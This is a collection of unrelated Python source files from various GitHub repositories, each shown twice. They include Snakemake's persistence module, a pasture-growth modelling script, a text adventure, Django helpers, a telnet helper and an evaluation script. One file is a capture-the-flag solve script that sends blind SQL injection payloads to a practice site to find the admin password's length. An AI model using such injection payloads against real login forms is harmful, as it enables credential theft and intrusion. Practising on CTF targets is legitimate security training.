json.JSONDecodeError: continue # not a properly formatted JSON file if record.get("incomplete", False): target_path = Path(self._incomplete_path) / path.relative_to( self._metadata_path ) os.makedirs(target_path, exist_ok=True) shutil.copyfile( path / filename, target_path / filename, ) i += 1 # this can take a while for large folders... if (i % 10000) == 0 and i > 0: logger.info("{} files migrated".format(i)) logger.info("Migration complete") @property def files(self): if self._files is None: self._files = set(self.dag.output_files) return self._files @property def locked(self): inputfiles = set(self.all_inputfiles()) outputfiles = set(self.all_outputfiles()) if os.path.exists(self._lockdir): for lockfile in self._locks("input"): with open(lockfile) as lock: for f in lock: f = f.strip() if f in outputfiles: return True for lockfile in self._locks("output"): with open(lockfile) as lock: for f in lock: f = f.strip() if f in outputfiles or f in inputfiles: return True return False def lock_warn_only(self): if self.locked: logger.info( "Error: Directory cannot be locked. This usually " "means that another Snakemake instance is running on this directory. " "Another possibility is that a previous run exited unexpectedly." ) def lock(self): if self.locked: raise IOError("Another snakemake process " "has locked this directory.") self._lock(self.all_inputfiles(), "input") self._lock(self.all_outputfiles(), "output") def unlock(self, *args): logger.debug("unlocking") for lockfile in self._lockfile.values(): try: logger.debug("removing lock") os.remove(lockfile) except OSError as e: if e.errno != 2: # missing file raise e logger.debug("removed all locks") def cleanup_locks(self): shutil.rmtree(self._lockdir) def cleanup_metadata(self, path): self._delete_record(self._metadata_path, path) def cleanup_shadow(self): if os.path.exists(self.shadow_path): shutil.rmtree(self.shadow_path) os.mkdir(self.shadow_path) def conda_cleanup_envs(self): # cleanup envs in_use = set(env.hash[:8] for env in self.dag.conda_envs.values()) for d in os.listdir(self.conda_env_path): if len(d) >= 8 and d[:8] not in in_use: if os.path.isdir(os.path.join(self.conda_env_path, d)): shutil.rmtree(os.path.join(self.conda_env_path, d)) else: os.remove(os.path.join(self.conda_env_path, d)) # cleanup env archives in_use = set(env.content_hash for env in self.dag.conda_envs.values()) for d in os.listdir(self.conda_env_archive_path): if d not in in_use: shutil.rmtree(os.path.join(self.conda_env_archive_path, d)) def started(self, job, external_jobid=None): for f in job.output: self._record( self._incomplete_path, {"external_jobid": external_jobid}, f, ) def finished(self, job, keep_metadata=True): if not keep_metadata: for f in job.expanded_output: self._delete_record(self._incomplete_path, f) return version = str(job.rule.version) if job.rule.version is not None else None code = self._code(job.rule) input = self._input(job) log = self._log(job) params = self._params(job) shellcmd = job.shellcmd conda_env = self._conda_env(job) fallback_time = time.time() for f in job.expanded_output: rec_path = self._record_path(self._incomplete_path, f) starttime = os.path.getmtime(rec_path) if os.path.exists(rec_path) else None # Sometimes finished is called twice, if so, lookup the previous starttime if not os.path.exists(rec_path): starttime = self._read_record(self._metadata_path, f).get( "starttime", None ) endtime = f.mtime.local_or_remote() if f.exists else fallback_time self._record( self._metadata_path, { "version": version, "code": code, "rule": job.rule.name, "input": input, "log": log, "params": params, "shellcmd": shellcmd, "incomplete": False, "starttime": starttime, "endtime": endtime, "job_hash": hash(job), "conda_env": conda_env, "container_img_url": job.container_img_url, }, f, ) self._delete_record(self._incomplete_path, f) def cleanup(self, job): for f in job.expanded_output: self._delete_record(self._incomplete_path, f) self._delete_record(self._metadata_path, f) def incomplete(self, job): if self._incomplete_cache is None: self._cache_incomplete_folder() if self._incomplete_cache is False: # cache deactivated def marked_incomplete(f): return self._exists_record(self._incomplete_path, f) else: def marked_incomplete(f): rec_path = self._record_path(self._incomplete_path, f) return rec_path in self._incomplete_cache return any(map(lambda f: f.exists and marked_incomplete(f), job.output)) def _cache_incomplete_folder(self): self._incomplete_cache = { os.path.join(path, f) for path, dirnames, filenames in os.walk(self._incomplete_path) for f in filenames } def external_jobids(self, job): return list( set( self._read_record(self._incomplete_path, f).get("external_jobid", None) for f in job.output ) ) def metadata(self, path): return self._read_record(self._metadata_path, path) def version(self, path): return self.metadata(path).get("version") def rule(self, path): return self.metadata(path).get("rule") def input(self, path): return self.metadata(path).get("input") def log(self, path): return self.metadata(path).get("log") def shellcmd(self, path): return self.metadata(path).get("shellcmd") def params(self, path): return self.metadata(path).get("params") def code(self, path): return self.metadata(path).get("code") def version_changed(self, job, file=None): """Yields output files with changed versions of bool if file given.""" return _bool_or_gen(self._version_changed, job, file=file) def code_changed(self, job, file=None): """Yields output files with changed code of bool if file given.""" return _bool_or_gen(self._code_changed, job, file=file) def input_changed(self, job, file=None): """Yields output files with changed input of bool if file given.""" return _bool_or_gen(self._input_changed, job, file=file) def params_changed(self, job, file=None): """Yields output files with changed params of bool if file given.""" return _bool_or_gen(self._params_changed, job, file=file) def _version_changed(self, job, file=None): assert file is not None return self.version(file) != job.rule.version def _code_changed(self, job, file=None): assert file is not None return self.code(file) != self._code(job.rule) def _input_changed(self, job, file=None): assert file is not None return self.input(file) != self._input(job) def _params_changed(self, job, file=None): assert file is not None return self.params(file) != self._params(job) def noop(self, *args): pass def _b64id(self, s): return urlsafe_b64encode(str(s).encode()).decode() @lru_cache() def _code(self, rule): code = rule.run_func.__code__ return b64encode(pickle_code(code)).decode() @lru_cache() def _conda_env(self, job): if job.conda_env: return b64encode(job.conda_env.content).decode() @lru_cache() def _input(self, job): return sorted(job.input) @lru_cache() def _log(self, job): return sorted(job.log) @lru_cache() def _params(self, job): return sorted(map(repr, job.params)) @lru_cache() def _output(self, job): return sorted(job.output) def _record(self, subject, json_value, id): recpath = self._record_path(subject, id) os.makedirs(os.path.dirname(recpath), exist_ok=True) with open(recpath, "w") as f: json.dump(json_value, f) def _delete_record(self, subject, id): try: recpath = self._record_path(subject, id) os.remove(recpath) recdirs = os.path.relpath(os.path.dirname(recpath), start=subject) if recdirs != ".": os.removedirs(recdirs) except OSError as e: if e.errno != 2: # not missing raise e @lru_cache() def _read_record_cached(self, subject, id): return self._read_record_uncached(subject, id) def _read_record_uncached(self, subject, id): if not self._exists_record(subject, id): return dict() with open(self._record_path(subject, id), "r") as f: return json.load(f) def _exists_record(self, subject, id): return os.path.exists(self._record_path(subject, id)) def _locks(self, type): return ( f for f, _ in listfiles( os.path.join(self._lockdir, "{{n,[0-9]+}}.{}.lock".format(type)) ) if not os.path.isdir(f) ) def _lock(self, files, type): for i in count(0): lockfile = os.path.join(self._lockdir, "{}.{}.lock".format(i, type)) if not os.path.exists(lockfile): self._lockfile[type] = lockfile with open(lockfile, "w") as lock: print(*files, sep="\n", file=lock) return def _record_path(self, subject, id): max_len = ( os.pathconf(subject, "PC_NAME_MAX") if os.name == "posix" else 255 ) # maximum NTFS and FAT32 filename length if max_len == 0: max_len = 255 b64id = self._b64id(id) # split into chunks of proper length b64id = [b64id[i : i + max_len - 1] for i in range(0, len(b64id), max_len - 1)] # prepend dirs with @ (does not occur in b64) to avoid conflict with b64-named files in the same dir b64id = ["@" + s for s in b64id[:-1]] + [b64id[-1]] path = os.path.join(subject, *b64id) return path def all_outputfiles(self): # we only look at output files that will be updated return jobfiles(self.dag.needrun_jobs, "output") def all_inputfiles(self): # we consider all input files, also of not running jobs return jobfiles(self.dag.jobs, "input") def deactivate_cache(self): self._read_record_cached.cache_clear() self._read_record = self._read_record_uncached self._incomplete_cache = False def _bool_or_gen(func, job, file=None): if file is None: return (f for f in job.expanded_output if func(job, file=f)) else: return func(job, file=file) def pickle_code(code): consts = [ (pickle_code(const) if type(const) == type(code) else const) for const in code.co_consts ] return pickle.dumps((code.co_code, code.co_varnames, consts, code.co_names))

__author__ = "<NAME>" __copyright__ = "Copyright 2015-2019, <NAME>" __email__ = "<EMAIL>" __license__ = "MIT" import os import shutil import signal import marshal import pickle import json import time from base64 import urlsafe_b64encode, b64encode from functools import lru_cache, partial from itertools import filterfalse, count from pathlib import Path from snakemake.logging import logger from snakemake.jobs import jobfiles from snakemake.utils import listfiles class Persistence: def __init__( self, nolock=False, dag=None, conda_prefix=None, singularity_prefix=None, shadow_prefix=None, warn_only=False, ): self.path = os.path.abspath(".snakemake") if not os.path.exists(self.path): os.mkdir(self.path) self._lockdir = os.path.join(self.path, "locks") if not os.path.exists(self._lockdir): os.mkdir(self._lockdir) self.dag = dag self._lockfile = dict() self._metadata_path = os.path.join(self.path, "metadata") self._incomplete_path = os.path.join(self.path, "incomplete") self.conda_env_archive_path = os.path.join(self.path, "conda-archive") self.benchmark_path = os.path.join(self.path, "benchmarks") if conda_prefix is None: self.conda_env_path = os.path.join(self.path, "conda") else: self.conda_env_path = os.path.abspath(os.path.expanduser(conda_prefix)) if singularity_prefix is None: self.container_img_path = os.path.join(self.path, "singularity") else: self.container_img_path = os.path.abspath( os.path.expanduser(singularity_prefix) ) if shadow_prefix is None: self.shadow_path = os.path.join(self.path, "shadow") else: self.shadow_path = os.path.join(shadow_prefix, "shadow") # place to store any auxiliary information needed during a run (e.g. source tarballs) self.aux_path = os.path.join(self.path, "auxiliary") # migration of .snakemake folder structure migration_indicator = Path( os.path.join(self._incomplete_path, "migration_underway") ) if ( os.path.exists(self._metadata_path) and not os.path.exists(self._incomplete_path) ) or migration_indicator.exists(): os.makedirs(self._incomplete_path, exist_ok=True) migration_indicator.touch() self.migrate_v1_to_v2() migration_indicator.unlink() self._incomplete_cache = None for d in ( self._metadata_path, self._incomplete_path, self.shadow_path, self.conda_env_archive_path, self.conda_env_path, self.container_img_path, self.aux_path, ): os.makedirs(d, exist_ok=True) if nolock: self.lock = self.noop self.unlock = self.noop if warn_only: self.lock = self.lock_warn_only self.unlock = self.noop self._read_record = self._read_record_cached def migrate_v1_to_v2(self): logger.info("Migrating .snakemake folder to new format...") i = 0 for path, _, filenames in os.walk(self._metadata_path): path = Path(path) for filename in filenames: with open(path / filename, "r") as f: try: record = json.load(f) except json.JSONDecodeError: continue # not a properly formatted JSON file if record.get("incomplete", False): target_path = Path(self._incomplete_path) / path.relative_to( self._metadata_path ) os.makedirs(target_path, exist_ok=True) shutil.copyfile( path / filename, target_path / filename, ) i += 1 # this can take a while for large folders... if (i % 10000) == 0 and i > 0: logger.info("{} files migrated".format(i)) logger.info("Migration complete") @property def files(self): if self._files is None: self._files = set(self.dag.output_files) return self._files @property def locked(self): inputfiles = set(self.all_inputfiles()) outputfiles = set(self.all_outputfiles()) if os.path.exists(self._lockdir): for lockfile in self._locks("input"): with open(lockfile) as lock: for f in lock: f = f.strip() if f in outputfiles: return True for lockfile in self._locks("output"): with open(lockfile) as lock: for f in lock: f = f.strip() if f in outputfiles or f in inputfiles: return True return False def lock_warn_only(self): if self.locked: logger.info( "Error: Directory cannot be locked. This usually " "means that another Snakemake instance is running on this directory. " "Another possibility is that a previous run exited unexpectedly." ) def lock(self): if self.locked: raise IOError("Another snakemake process " "has locked this directory.") self._lock(self.all_inputfiles(), "input") self._lock(self.all_outputfiles(), "output") def unlock(self, *args): logger.debug("unlocking") for lockfile in self._lockfile.values(): try: logger.debug("removing lock") os.remove(lockfile) except OSError as e: if e.errno != 2: # missing file raise e logger.debug("removed all locks") def cleanup_locks(self): shutil.rmtree(self._lockdir) def cleanup_metadata(self, path): self._delete_record(self._metadata_path, path) def cleanup_shadow(self): if os.path.exists(self.shadow_path): shutil.rmtree(self.shadow_path) os.mkdir(self.shadow_path) def conda_cleanup_envs(self): # cleanup envs in_use = set(env.hash[:8] for env in self.dag.conda_envs.values()) for d in os.listdir(self.conda_env_path): if len(d) >= 8 and d[:8] not in in_use: if os.path.isdir(os.path.join(self.conda_env_path, d)): shutil.rmtree(os.path.join(self.conda_env_path, d)) else: os.remove(os.path.join(self.conda_env_path, d)) # cleanup env archives in_use = set(env.content_hash for env in self.dag.conda_envs.values()) for d in os.listdir(self.conda_env_archive_path): if d not in in_use: shutil.rmtree(os.path.join(self.conda_env_archive_path, d)) def started(self, job, external_jobid=None): for f in job.output: self._record( self._incomplete_path, {"external_jobid": external_jobid}, f, ) def finished(self, job, keep_metadata=True): if not keep_metadata: for f in job.expanded_output: self._delete_record(self._incomplete_path, f) return version = str(job.rule.version) if job.rule.version is not None else None code = self._code(job.rule) input = self._input(job) log = self._log(job) params = self._params(job) shellcmd = job.shellcmd conda_env = self._conda_env(job) fallback_time = time.time() for f in job.expanded_output: rec_path = self._record_path(self._incomplete_path, f) starttime = os.path.getmtime(rec_path) if os.path.exists(rec_path) else None # Sometimes finished is called twice, if so, lookup the previous starttime if not os.path.exists(rec_path): starttime = self._read_record(self._metadata_path, f).get( "starttime", None ) endtime = f.mtime.local_or_remote() if f.exists else fallback_time self._record( self._metadata_path, { "version": version, "code": code, "rule": job.rule.name, "input": input, "log": log, "params": params, "shellcmd": shellcmd, "incomplete": False, "starttime": starttime, "endtime": endtime, "job_hash": hash(job), "conda_env": conda_env, "container_img_url": job.container_img_url, }, f, ) self._delete_record(self._incomplete_path, f) def cleanup(self, job): for f in job.expanded_output: self._delete_record(self._incomplete_path, f) self._delete_record(self._metadata_path, f) def incomplete(self, job): if self._incomplete_cache is None: self._cache_incomplete_folder() if self._incomplete_cache is False: # cache deactivated def marked_incomplete(f): return self._exists_record(self._incomplete_path, f) else: def marked_incomplete(f): rec_path = self._record_path(self._incomplete_path, f) return rec_path in self._incomplete_cache return any(map(lambda f: f.exists and marked_incomplete(f), job.output)) def _cache_incomplete_folder(self): self._incomplete_cache = { os.path.join(path, f) for path, dirnames, filenames in os.walk(self._incomplete_path) for f in filenames } def external_jobids(self, job): return list( set( self._read_record(self._incomplete_path, f).get("external_jobid", None) for f in job.output ) ) def metadata(self, path): return self._read_record(self._metadata_path, path) def version(self, path): return self.metadata(path).get("version") def rule(self, path): return self.metadata(path).get("rule") def input(self, path): return self.metadata(path).get("input") def log(self, path): return self.metadata(path).get("log") def shellcmd(self, path): return self.metadata(path).get("shellcmd") def params(self, path): return self.metadata(path).get("params") def code(self, path): return self.metadata(path).get("code") def version_changed(self, job, file=None): """Yields output files with changed versions of bool if file given.""" return _bool_or_gen(self._version_changed, job, file=file) def code_changed(self, job, file=None): """Yields output files with changed code of bool if file given.""" return _bool_or_gen(self._code_changed, job, file=file) def input_changed(self, job, file=None): """Yields output files with changed input of bool if file given.""" return _bool_or_gen(self._input_changed, job, file=file) def params_changed(self, job, file=None): """Yields output files with changed params of bool if file given.""" return _bool_or_gen(self._params_changed, job, file=file) def _version_changed(self, job, file=None): assert file is not None return self.version(file) != job.rule.version def _code_changed(self, job, file=None): assert file is not None return self.code(file) != self._code(job.rule) def _input_changed(self, job, file=None): assert file is not None return self.input(file) != self._input(job) def _params_changed(self, job, file=None): assert file is not None return self.params(file) != self._params(job) def noop(self, *args): pass def _b64id(self, s): return urlsafe_b64encode(str(s).encode()).decode() @lru_cache() def _code(self, rule): code = rule.run_func.__code__ return b64encode(pickle_code(code)).decode() @lru_cache() def _conda_env(self, job): if job.conda_env: return b64encode(job.conda_env.content).decode() @lru_cache() def _input(self, job): return sorted(job.input) @lru_cache() def _log(self, job): return sorted(job.log) @lru_cache() def _params(self, job): return sorted(map(repr, job.params)) @lru_cache() def _output(self, job): return sorted(job.output) def _record(self, subject, json_value, id): recpath = self._record_path(subject, id) os.makedirs(os.path.dirname(recpath), exist_ok=True) with open(recpath, "w") as f: json.dump(json_value, f) def _delete_record(self, subject, id): try: recpath = self._record_path(subject, id) os.remove(recpath) recdirs = os.path.relpath(os.path.dirname(recpath), start=subject) if recdirs != ".": os.removedirs(recdirs) except OSError as e: if e.errno != 2: # not missing raise e @lru_cache() def _read_record_cached(self, subject, id): return self._read_record_uncached(subject, id) def _read_record_uncached(self, subject, id): if not self._exists_record(subject, id): return dict() with open(self._record_path(subject, id), "r") as f: return json.load(f) def _exists_record(self, subject, id): return os.path.exists(self._record_path(subject, id)) def _locks(self, type): return ( f for f, _ in listfiles( os.path.join(self._lockdir, "{{n,[0-9]+}}.{}.lock".format(type)) ) if not os.path.isdir(f) ) def _lock(self, files, type): for i in count(0): lockfile = os.path.join(self._lockdir, "{}.{}.lock".format(i, type)) if not os.path.exists(lockfile): self._lockfile[type] = lockfile with open(lockfile, "w") as lock: print(*files, sep="\n", file=lock) return def _record_path(self, subject, id): max_len = ( os.pathconf(subject, "PC_NAME_MAX") if os.name == "posix" else 255 ) # maximum NTFS and FAT32 filename length if max_len == 0: max_len = 255 b64id = self._b64id(id) # split into chunks of proper length b64id = [b64id[i : i + max_len - 1] for i in range(0, len(b64id), max_len - 1)] # prepend dirs with @ (does not occur in b64) to avoid conflict with b64-named files in the same dir b64id = ["@" + s for s in b64id[:-1]] + [b64id[-1]] path = os.path.join(subject, *b64id) return path def all_outputfiles(self): # we only look at output files that will be updated return jobfiles(self.dag.needrun_jobs, "output") def all_inputfiles(self): # we consider all input files, also of not running jobs return jobfiles(self.dag.jobs, "input") def deactivate_cache(self): self._read_record_cached.cache_clear() self._read_record = self._read_record_uncached self._incomplete_cache = False def _bool_or_gen(func, job, file=None): if file is None: return (f for f in job.expanded_output if func(job, file=f)) else: return func(job, file=file) def pickle_code(code): consts = [ (pickle_code(const) if type(const) == type(code) else const) for const in code.co_consts ] return pickle.dumps((code.co_code, code.co_varnames, consts, code.co_names))

pt

Pasture_Growth_Modelling/initialisation_support/dryland_ibasal.py

Komanawa-Solutions-Ltd/SLMACC-2020-CSRA

13542

""" Author: <NAME> Created: 23/11/2020 11:06 AM """ import ksl_env # add basgra nz functions ksl_env.add_basgra_nz_path() from supporting_functions.plotting import plot_multiple_results from check_basgra_python.support_for_tests import establish_org_input, get_lincoln_broadfield, get_woodward_weather, _clean_harvest from input_output_keys import matrix_weather_keys_pet from basgra_python import run_basgra_nz def run_nonirr_lincoln_low_basil(IBASAL): params, matrix_weather, days_harvest, doy_irr = establish_org_input('lincoln') matrix_weather = get_lincoln_broadfield() matrix_weather.loc[:, 'max_irr'] = 10 matrix_weather.loc[:, 'irr_trig'] = 0 matrix_weather.loc[:, 'irr_targ'] = 1 matrix_weather = matrix_weather.loc[:, matrix_weather_keys_pet] params['IRRIGF'] = 0 # no irrigation params['BASALI'] = IBASAL # start at 20% basal days_harvest = _clean_harvest(days_harvest,matrix_weather) out = run_basgra_nz(params, matrix_weather, days_harvest, doy_irr, verbose=False) out.loc[:,'per_fc'] = out.loc[:,'WAL']/out.loc[:,'WAFC'] out.loc[:,'per_paw'] = out.loc[:,'PAW']/out.loc[:,'MXPAW'] return out if __name__ == '__main__': ibasals = [0,0.1,0.15,.2,0.3] data = { 'IBASAL:{}'.format(e): run_nonirr_lincoln_low_basil(e) for e in ibasals } plot_multiple_results(data, out_vars=['BASAL', 'DM', 'YIELD','per_paw'])

""" Author: <NAME> Created: 23/11/2020 11:06 AM """ import ksl_env # add basgra nz functions ksl_env.add_basgra_nz_path() from supporting_functions.plotting import plot_multiple_results from check_basgra_python.support_for_tests import establish_org_input, get_lincoln_broadfield, get_woodward_weather, _clean_harvest from input_output_keys import matrix_weather_keys_pet from basgra_python import run_basgra_nz def run_nonirr_lincoln_low_basil(IBASAL): params, matrix_weather, days_harvest, doy_irr = establish_org_input('lincoln') matrix_weather = get_lincoln_broadfield() matrix_weather.loc[:, 'max_irr'] = 10 matrix_weather.loc[:, 'irr_trig'] = 0 matrix_weather.loc[:, 'irr_targ'] = 1 matrix_weather = matrix_weather.loc[:, matrix_weather_keys_pet] params['IRRIGF'] = 0 # no irrigation params['BASALI'] = IBASAL # start at 20% basal days_harvest = _clean_harvest(days_harvest,matrix_weather) out = run_basgra_nz(params, matrix_weather, days_harvest, doy_irr, verbose=False) out.loc[:,'per_fc'] = out.loc[:,'WAL']/out.loc[:,'WAFC'] out.loc[:,'per_paw'] = out.loc[:,'PAW']/out.loc[:,'MXPAW'] return out if __name__ == '__main__': ibasals = [0,0.1,0.15,.2,0.3] data = { 'IBASAL:{}'.format(e): run_nonirr_lincoln_low_basil(e) for e in ibasals } plot_multiple_results(data, out_vars=['BASAL', 'DM', 'YIELD','per_paw'])

en

0x05/solve/ex1-0x05.py

tuannm-1876/sec-exercises

13543

<reponame>tuannm-1876/sec-exercises<gh_stars>0 import urllib import urllib2 url = "http://ctfq.sweetduet.info:10080/~q6/" def main(): for i in range(1, 100): data = { "id": "admin' AND (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = {counter} --".format(counter=i), "pass": "", } print (data) data1 = urllib.urlencode(data).encode("utf-8") req = urllib2.Request(url, data1) res = urllib2.urlopen(req) print (res) if int(res.headers["content-length"]) > 2000: print("Do dai cua password: {counter}".format(counter=i)) break if __name__ == "__main__": main()

import urllib import urllib2 url = "http://ctfq.sweetduet.info:10080/~q6/" def main(): for i in range(1, 100): data = { "id": "admin' AND (SELECT LENGTH(pass) FROM user WHERE id = 'admin') = {counter} --".format(counter=i), "pass": "", } print (data) data1 = urllib.urlencode(data).encode("utf-8") req = urllib2.Request(url, data1) res = urllib2.urlopen(req) print (res) if int(res.headers["content-length"]) > 2000: print("Do dai cua password: {counter}".format(counter=i)) break if __name__ == "__main__": main()

none

gen_methods.py

mweeden2/desert_game

13544

# created by <NAME> # 7/8/16 import classes as c def printIntro(): print 'Welcome to the\n' print '''__/\\\\\\\\\\\\\\\\\\\\\\\\_________________________________________________\ __________________________\n _\\/\\\\\\////////\\\\\\___________________________________\ ______________________________________\n _\\/\\\\\\______\\//\\\\\\___________________\ ___________________________________________/\\\\\\______\n _\\/\\\\\\_______\\/\\\\\ \\_____/\\\\\\\\\\\\\\\\___/\\\\\\\\\\\\\\\\\\\\_____/\\\\\\\\\\\\\\\\___/\\\\/\\\\\\\\\\\ \\\\___/\\\\\\\\\\\\\\\\\\\\\\_\n _\\/\\\\\\_______\\/\\\\\\___/\\\\\\/////\\\\\\_\ \\/\\\\\\//////____/\\\\\\/////\\\\\\_\\/\\\\\\/////\\\\\\_\\////\\\\\\////__\n \ _\\/\\\\\\_______\\/\\\\\\__/\\\\\\\\\\\\\\\\\\\\\\__\\/\\\\\\\\\\\\\\\\\\\\__/\\\\\\\\\\\ \\\\\\\\\\\\__\\/\\\\\\___\\///_____\\/\\\\\\______\n _\\/\\\\\\_______/\\\\\\\ __\\//\\\\///////___\\////////\\\\\\_\\//\\\\///////___\\/\\\\\\____________\\/\\\\\\_/\\\ \\__\n _\\/\\\\\\\\\\\\\\\\\\\\\\\\/____\\//\\\\\\\\\\\\\\\\\\\\__/\\\\\\\\\ \\\\\\\\\\\\__\\//\\\\\\\\\\\\\\\\\\\\_\\/\\\\\\____________\\//\\\\\\\\\\___\n \ _\\////////////_______\\//////////__\\//////////____\\//////////__\\///____________\ __\\//\///____''' print print 'created by <NAME>\n' def getUname(): done = False while not done: uname = raw_input("Enter your name: ") if set(uname) <= set('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'): if len(uname) <= 40: done = True else: print 'Please keep your name to 40 letters or less' else: print 'Please use only letters in your name' return uname def createPlayer(name): #c.Person(mainp [main character or not], name, weight, health, xp) return c.Person(True, name, 150, 10, 100, 0) def printIntro1(player): msg = """================================================== Welcome to the desert, %s. "To survival." *clink* """ print msg % player.getName()

# created by <NAME> # 7/8/16 import classes as c def printIntro(): print 'Welcome to the\n' print '''__/\\\\\\\\\\\\\\\\\\\\\\\\_________________________________________________\ __________________________\n _\\/\\\\\\////////\\\\\\___________________________________\ ______________________________________\n _\\/\\\\\\______\\//\\\\\\___________________\ ___________________________________________/\\\\\\______\n _\\/\\\\\\_______\\/\\\\\ \\_____/\\\\\\\\\\\\\\\\___/\\\\\\\\\\\\\\\\\\\\_____/\\\\\\\\\\\\\\\\___/\\\\/\\\\\\\\\\\ \\\\___/\\\\\\\\\\\\\\\\\\\\\\_\n _\\/\\\\\\_______\\/\\\\\\___/\\\\\\/////\\\\\\_\ \\/\\\\\\//////____/\\\\\\/////\\\\\\_\\/\\\\\\/////\\\\\\_\\////\\\\\\////__\n \ _\\/\\\\\\_______\\/\\\\\\__/\\\\\\\\\\\\\\\\\\\\\\__\\/\\\\\\\\\\\\\\\\\\\\__/\\\\\\\\\\\ \\\\\\\\\\\\__\\/\\\\\\___\\///_____\\/\\\\\\______\n _\\/\\\\\\_______/\\\\\\\ __\\//\\\\///////___\\////////\\\\\\_\\//\\\\///////___\\/\\\\\\____________\\/\\\\\\_/\\\ \\__\n _\\/\\\\\\\\\\\\\\\\\\\\\\\\/____\\//\\\\\\\\\\\\\\\\\\\\__/\\\\\\\\\ \\\\\\\\\\\\__\\//\\\\\\\\\\\\\\\\\\\\_\\/\\\\\\____________\\//\\\\\\\\\\___\n \ _\\////////////_______\\//////////__\\//////////____\\//////////__\\///____________\ __\\//\///____''' print print 'created by <NAME>\n' def getUname(): done = False while not done: uname = raw_input("Enter your name: ") if set(uname) <= set('qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM'): if len(uname) <= 40: done = True else: print 'Please keep your name to 40 letters or less' else: print 'Please use only letters in your name' return uname def createPlayer(name): #c.Person(mainp [main character or not], name, weight, health, xp) return c.Person(True, name, 150, 10, 100, 0) def printIntro1(player): msg = """================================================== Welcome to the desert, %s. "To survival." *clink* """ print msg % player.getName()

de

entity_resolution/interfaces/IRecord.py

GeoJamesJones/ArcGIS-Senzing-Prototype

13545

from __future__ import annotations from abc import ABCMeta, abstractmethod from typing import Dict, Any, List class IRecord(metaclass=ABCMeta): @abstractmethod def to_dict(self) -> Dict[Any, Any]: ... @abstractmethod def to_json(self) -> str: ... @abstractmethod def to_list(self) -> List[Any]: ...

from __future__ import annotations from abc import ABCMeta, abstractmethod from typing import Dict, Any, List class IRecord(metaclass=ABCMeta): @abstractmethod def to_dict(self) -> Dict[Any, Any]: ... @abstractmethod def to_json(self) -> str: ... @abstractmethod def to_list(self) -> List[Any]: ...

none

mkt/stats/helpers.py

Joergen/zamboni

13546

<filename>mkt/stats/helpers.py from django.utils.http import urlquote from jingo import register import jinja2 from access import acl @register.function @jinja2.contextfunction def check_contrib_stats_perms(context, addon): request = context['request'] if addon.has_author(request.amo_user) or acl.action_allowed(request, 'RevenueStats', 'View'): return True @register.function @jinja2.contextfunction def stats_url(context, action, metric=None): """ Simplifies the templates a bit, no need to pass in addon into parameters as it is inferred from the context and it makes the function call shorter. """ addon = context['addon'] if metric: action = '%s_%s' % (metric, action) return addon.get_stats_url(action=action) @register.function def url_quote(url): return urlquote(url)

<filename>mkt/stats/helpers.py from django.utils.http import urlquote from jingo import register import jinja2 from access import acl @register.function @jinja2.contextfunction def check_contrib_stats_perms(context, addon): request = context['request'] if addon.has_author(request.amo_user) or acl.action_allowed(request, 'RevenueStats', 'View'): return True @register.function @jinja2.contextfunction def stats_url(context, action, metric=None): """ Simplifies the templates a bit, no need to pass in addon into parameters as it is inferred from the context and it makes the function call shorter. """ addon = context['addon'] if metric: action = '%s_%s' % (metric, action) return addon.get_stats_url(action=action) @register.function def url_quote(url): return urlquote(url)

pt

code_examples/package_example/my_scripts/network/connect_telnet.py

natenka/natenka.github.io

13547

import telnetlib import time def send_command_telnetlib(ipaddress, username, password, enable_pass, command): t = telnetlib.Telnet("192.168.100.1") t.read_until(b"Username:") t.write(username.encode("ascii") + b"\n") t.read_until(b"Password:") t.write(password.encode("ascii") + b"\n") t.write(b"enable\n") t.read_until(b"Password:") t.write(enable_pass.encode("ascii") + b"\n") t.read_until(b"#") t.write(b"terminal length 0\n") t.write(command + b"\n") time.sleep(1) result = t.read_until(b"#").decode("utf-8") return result

import telnetlib import time def send_command_telnetlib(ipaddress, username, password, enable_pass, command): t = telnetlib.Telnet("192.168.100.1") t.read_until(b"Username:") t.write(username.encode("ascii") + b"\n") t.read_until(b"Password:") t.write(password.encode("ascii") + b"\n") t.write(b"enable\n") t.read_until(b"Password:") t.write(enable_pass.encode("ascii") + b"\n") t.read_until(b"#") t.write(b"terminal length 0\n") t.write(command + b"\n") time.sleep(1) result = t.read_until(b"#").decode("utf-8") return result

none

fullstack/migrations/0004_officeholder.py

TylerFisher/full-stack-react

13548

<reponame>TylerFisher/full-stack-react<gh_stars>1-10 # Generated by Django 2.1.5 on 2019-01-27 22:45 from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): dependencies = [ ('fullstack', '0003_auto_20190127_2223'), ] operations = [ migrations.CreateModel( name='Officeholder', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('term_start', models.DateField()), ('term_end', models.DateField()), ('office', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='fullstack.Office')), ('person', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='fullstack.Person')), ], ), ]

# Generated by Django 2.1.5 on 2019-01-27 22:45 from django.db import migrations, models import django.db.models.deletion import uuid class Migration(migrations.Migration): dependencies = [ ('fullstack', '0003_auto_20190127_2223'), ] operations = [ migrations.CreateModel( name='Officeholder', fields=[ ('id', models.UUIDField(default=uuid.uuid4, editable=False, primary_key=True, serialize=False)), ('term_start', models.DateField()), ('term_end', models.DateField()), ('office', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='fullstack.Office')), ('person', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='fullstack.Person')), ], ), ]

fr

tools/evaluate_2D.py

ZJULiHongxin/two-hand-pose-est

13549

<reponame>ZJULiHongxin/two-hand-pose-est from __future__ import absolute_import from __future__ import division from __future__ import print_function import argparse import platform import numpy as np import time import os import torch import torch.backends.cudnn as cudnn import _init_paths from config import cfg from config import update_config from utils.utils import get_model_summary from ptflops import get_model_complexity_info from fp16_utils.fp16util import network_to_half from core.loss import BoneLengthLoss, JointAngleLoss, JointsMSELoss import dataset from dataset.build import trans from models import A2JPoseNet from utils.misc import plot_performance import matplotlib if platform.system() == 'Linux': matplotlib.use('Agg') else: matplotlib.use('Tkagg') # python evaluate_2D.py --cfg ../experiments/InterHand/exp_test.yaml --model_path ../output/InterHand/exp_test/model_best.pth.tar --gpu 3 --batch_size 32 def parse_args(): parser = argparse.ArgumentParser(description='Please specify the mode [training/assessment/predicting]') parser.add_argument('--cfg', help='experiment configure file name', 